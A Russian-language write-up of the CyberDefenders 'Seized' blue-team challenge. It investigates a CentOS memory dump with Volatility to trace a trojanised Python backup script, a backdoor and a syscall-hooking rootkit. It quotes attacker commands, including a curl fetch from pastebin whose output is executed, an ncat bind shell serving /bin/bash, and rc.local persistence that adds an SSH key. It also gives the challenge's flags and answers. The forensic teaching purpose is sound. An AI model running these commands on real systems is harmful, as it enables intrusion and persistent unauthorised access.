9 августа 2022
Рубим под корень
Поговорим о руткитах и на практическом примере потренируемся расследовать инцидент, связанный с атакой и заражением руткитом, проанализровав дамп оперативной памяти с ОС CentOS (на базе ядра Linux).
Всем доброго времени суток, в этой статье (скорее write up, для таска Seized от https://cyberdefenders.org/blueteam-ctf-challenges) мы поговорим о руткитах и на практическом примере потренируемся расследовать инцидент, связанный с атакой и заражением руткитом, проанализровав дамп оперативной памяти с ОС CentOS (на базе ядра Linux).

Немного справки о руткитах, из книги «The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition» by Bill Blunden “Руткиты — набор исполняемых(двоичных) файлов, скриптов, конфигурационных файлов (в том числе, специальных утилит), которые позволяют получить доступ к компьютеру и поддерживать доступ на протяжении времени, не предупреждая об этом владельца.”

Авторы задания (доступно по ссылке https://cyberdefenders.org/blueteam-ctf-challenges/92), предлагают нам попрактиковаться в расследовании атаки с применением вредоносного ПО (rootkit’a) в дампе оперативной памяти на ОС CentOS и ответить на 9 вопросов в ходе расследования.
Подготовка
Правильно подобранный набор утилит и хорошо подготовленный стенд — залог успеха в расследовании инцидентов, поэтому начнем именно с этого. Развернем на виртуальной машине ОС на базе *nix (здесь не принципиально: Kali, Ubuntu или что-то экзотическое, однако, если читатель хочет продолжить исследования вредоносных сэмплов, автор рекомендует развернуть REMnux (ссылка) или SIFT (by SANS), т.к. данные образы уже содержат большой набор необходимых утилит). После выбора образа и развертывания (не буду подробно останавливаться на этом), нам необходимо убедиться, что на нем установлен python2 и pip к нему (да, он не поддерживается, но нам это ничуть не помешает), далее загружаем одну из самых популярных утилит для анализа дампа оперативной памяти Volatility: git clone https://github.com/volatilityfoundation/volatility и устанавливаем: python setup.py install, еще нужно поставить несколько библиотек (нужны для модулей Volatility): pip install pycrypto distorm3 yara.
Открываем страницу с заданием и загружаем дамп оперативной памяти с профилем ядра (профиль — это zip файл, который содержит информацию о структуре ядра и отладочных символах и позволяет Volatility корректно распарсить важную информацию). Посмотреть список доступных профилей после установки и плагинов можно командой: ./vol.py —info.

Разархивируем загруженный дамп (dump.mem) и профиль (Centos7.3.10.1062.zip):

unzip -o c73-EZDump.zip -d . и импортируем профиль в необходимую директорию с загруженной volatility: cp Centos7.3.10.1062.zip /volatility/plugins/overlays/linux/ (распаковывать архив не нужно).
Теперь убедимся, что необходимый профиль доступен в Volatility:
./vol.py —info | grep LinuxCentos
Вывод должен быть таким:
Volatility Foundation Volatility Framework 2.6.1

LinuxCentos7_3_10_1062x64 — A Profile for Linux Centos7.3.10.1062 x64

Отлично, можем приступать к анализу дампа оперативной памяти.

Анализ
Прежде всего, давайте определим версию CentOS и заодно ответим на первый вопрос задания (What is the CentOS version installed on the machine?), для этого воспользуемся утилитами strings & grep:
strings dump.mem | grep -i ‘Linux release’ | uniq
В результате получим версию релиза:
Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)

Далее нас просят найти странную команду в истории bash (There is a command containing a strange message in the bash history. Will you be able to read it?), с помощью volatility мы легко справимся с поставленной задачей указав путь к дампу оперативной памяти, импортированный профиль и использовав модуль linux_bash (вывод на рис. 1 — история команд в bash) :
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_bash
Рисунок 1 — история команд в bash
Здесь мы видим строку в кодировке base64, давайте декодируем:
echo «c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=» | base64 -d

И получим наш первый флаг и ответ на второй вопрос:
shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

Сразу отметим, что активность в истории начинается с временной метки 14:56:16 (далее — Timeline) и обратим внимание на разные PID у процессов bash(в самом низу).

Далее нас просят найти process ID (PID) подозрительного процесса (Вопрос 3: What is the PID of the suspicious process?). Для этого мы можем воспользоваться одним из нескольких плагинов:

linux_pslist — выводит список текущих процессов из структуры task_structure;
linux_pstree — дерево процессов родительские->дочерние процессы;
linux_psxview — ищет скрытые процессы;
linux_psscan — сканирует физическую память и ищет процессы (позволяет получить список в том числе уже завершенных процессов и таймлайн их завершения).

Сейчас мы воспользуемся первым плагином linux_pslist, т.к. он покажет процессы (process ID – далее PID, UID, GID, Name) и отсортированные таймлайны для них (рисунок 2 — список запущенных процессов): vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_pslist

Рисунок 2 — список запущенных процессов, их offset, name, PID, PPID, Timelines.
Запущенных процессов много, но мы сократим зону поиска, обратившись к нашему первому таймлайну из вопроса 2, т.е. нас интересуют процессы запущенные после 14:56:16. Первым подозрительным является PID 2854 (утилита — ncat), которая позволяет выстраивать цепочки, пробрасывать порты и еще много всего и часто используется злоумышленниками и этичными хакерами. Номер этого процесса позволяет нам ответить на 3 вопрос.

Четвертый вопрос звучит так: (Вопрос 4: The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?). Внимательный читатель уже наверняка заметил, когда мы вывели историю bash (отвечая на вопрос 2), что пользователь в 14:56:25 загрузил с гита python скрипты:

git clone https://github.com/tw0phi/PythonBackup

После чего пользователь разархивировал и запустил PythonBackup.py с правами суперпользователя.

Давайте посмотрим на код, который выполнил пользователь. Для этого загрузим его: git clone https://github.com/tw0phi/PythonBackup и, внимательно изучив, увидим, что в скрипте PythonBackup.py (пользователь выполнил с правами суперпользователя) в переменную snapshot передается содержимое функции: generateSnapshot() (рисунок 3 — код PythonBackup.py) из кода snapshot.py в директории app.
Рисунок 3 — блок PythonBackup.ру
Заглянув, в код snapshot.py и поискав данную функцию, мы увидим обращение к стороннему ресурсу в коде функции (Рисунок 4 — функция generateSnapshot из snapshot.py) и выполнение полученного в командной строке.
Рисунок 4 — функция generateSnapshot из snapshot.ру
Посмотрим, чего добивался автор скрипта и декодируем содержимое из base64 (Рисунок 5).
Рисунок 5 — вывод запроса curl -k https://pastebin.com/raw/nQwMKjtZ
Итак, пользователь выполнил скрипт PythonBackup.py с правами суперпользователя, чем запустил netcat в бэкграунде и открыл бэкдор на порт 12345, таким образом позволил злоумышленнику попасть на хост: nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null

На этом этапе злоумышленник попал на хост.

После декодирования строки из base64 мы получили флаг (рисунок 5): shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

В пятом вопросе (What are the attacker’s IP address and the local port on the targeted machine?), автор задания предлагает нам указать IP адрес атакующего и порт на целевом(атакованном) хосте (хоть мы уже и поняли какой был порт). Давайте воспользуемся плагином linux_netstat, который выводит список открытых сокетов и отсортируем по флагу «соединение установлено»:
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep ‘ESTABLISHED’

В результате получим IP адрес с которым атакуемый хост установил соединение и порт (Рисунок 6 — установленные соединения).
Рисунок 6 — установленные соединения
Здесь мы видим IP адрес атакующего 192.168.49.1 и целевой порт на атакуемом хосте 12345.

Прежде чем отвечать на 6 вопрос (What is the first command that the attacker executed?), давайте посмотрим, какие процессы являются дочерними по отношению к ncat (PID 2854), в этом нам поможет плагин linux_pstree — позволяет выстроить дерево отношений родительских и дочерних процессов:
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_pstree

В результате получим список родельских и дочерних процессов (Рисунок 7 — процессы порожденные ncat): bash,python(родитель 2876),bash(родитель 2886),vim(родитель 2887).
Рисунок 7 — процессы порожденных ncat
Из дерева процессов можно заметить, что после запуска командной оболочки bash, атакующий запустил python, который в свою очередь породил новый tty. Давайте посмотрим, с какими аргументами был запущен python и заодно ответим на 6 вопрос. Воспользуемся плагином linux_psaux, который позволит просмотреть аргументы с которыми запущен процесс, а также userID и groupID из под которых был произведен запуск:
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_psaux
Рисунок 8 — вывод плагина psaux.
Как видно на рисунке 8 после запуска скрипта PythonBackup.py с правами суперпользователя, открытия бэкдора в системе и подключения злоумышленника, первой командой, которую атакующий выполнил на хосте с правами суперпользователя, после получения доступа была:
python -c import pty; pty.spawn(“/bin/bash”)

Данная команда позволяет породить новый tty, отсюда в дереве процессов на рисунке 7, python (PID 2886) является родителем процесса bash (PID 2887, да-да, тот самый bash, на который мы с Вами обратили внимание, когда получили историю команд в оболочке bash на рисунке 1).

В 7 вопросе (After changing the user password, we found that the attacker still has access. Can you find out how?) нас просят ответить: Как даже после смены пользователем пароля атакующий беспрепятственно продолжил входить на хост?

Итак, после выполнения плагина linux_psaux (рисунок 8), внимательный читатель наверняка заметил, что атакующий редактировал файл /etc/rc.local редактором vim (PID 3196), rc.local — скрипт, содержимое которого выполняется после старта всех системных служб (можно провести аналогию с автозагрузкой в ОС Windows).

Давайте сделаем дамп процесса vim (PID 3196), чтобы посмотреть какие изменения атакующий внес с использованием данного редактора.

Для этого создадим поддиректорию mkdir 3196_vim и выполним команду:
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_dump_map -p 3196 -D 3196_vim

Мы получили 90 файлов с расширением .vma, давайте сузим зону поиска: grep -iR «/etc/rc.local» и получим 2 файла по данному критерию: Binary file ./task.3196.0x22e5000.vma matches

Binary file ./task.3196.0x7ffc1c0c1000.vma matches

Теперь нам необходимо посмотреть содержимое и найти интересующую нас информацию (рисунок 9), для этого воспользуемся сочетанием утилит strings & grep и выполним:
strings -a task.3196.0x22e5000.vma | grep -A10 «/etc/rc.local»
Рисунок 9 — дамп содержимого процесса vim (PID 3196)
После вывода команды, мы видим, что атакующий в скрипте указал запись ключа шифрования ssh в файл /home/k3vin/.ssh/authorized_keys, что позволило в дальнейшем ему входить без пароля в систему. Также здесь мы видим строку в base64, которую мы можем декодировать и получить флаг, чтобы ответить на вопрос.
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
echo c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= | base64 -d

shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

В 8 вопросе(What is the name of the rootkit that the attacker used?) нас просят назвать имя rootkit’a, который использовал атакующий.
Взглянув на логи ядра (рисунок 10):
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_dmesg
Рисунок 10 — логи ядра Linux, модуль dmesg.
Мы можем увидеть предупреждения ядра о том, что загруженный модуль sysemptyrect не прошел верификацию и может нанести вред ядру, то есть модуль недоверенный.
После чего выполняется шифрование CRC65.
Также взглянув на системные вызовы и отыскав среди них перехваченные (HOOKED):
./vol.py -f ../Dump/dump.mem —profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED
Мы можем увидеть, что один из системных вызовов (88 номер системного вызова это symlink) перехватывается модулем sysemptyrect, на который ядро также выдало предупреждение (Рисунок 11 – перехваченный системный вызов). Имя руткита, который использовал атакующий sysemptyrect.
Рисунок 11 — перехваченный системный вызов.
Загрузка модуля в ядро атакующим производится командой sudo insmod *.ko (рисунок 8).
Остался последний, 9 вопрос (The rootkit uses crc65 encryption. What is the key?). Мы уже знаем название шифра, теперь нам ничто не мешает пройтись по дампу и найти необходимый ключ: grep -a “crc65*” dump.mem
Результат виден на рисунке 12. Кроме того, ключ можно обнаружить в дампе процесса bash (PID 2887).
Рисунок 12 — ключ для шифрования crc65.
Заключение
Мы разобрали атаку на хост на базе Linux (ОС CentOS) с выполнением вредоносного кода из скрипта, закреплением атакующего в системе и применением rootkit’a. Причиной компрометации хоста стал вредоносный код в скрипте snapshot.py, который вызывался из PythonBackup.py.
Made on
Tilda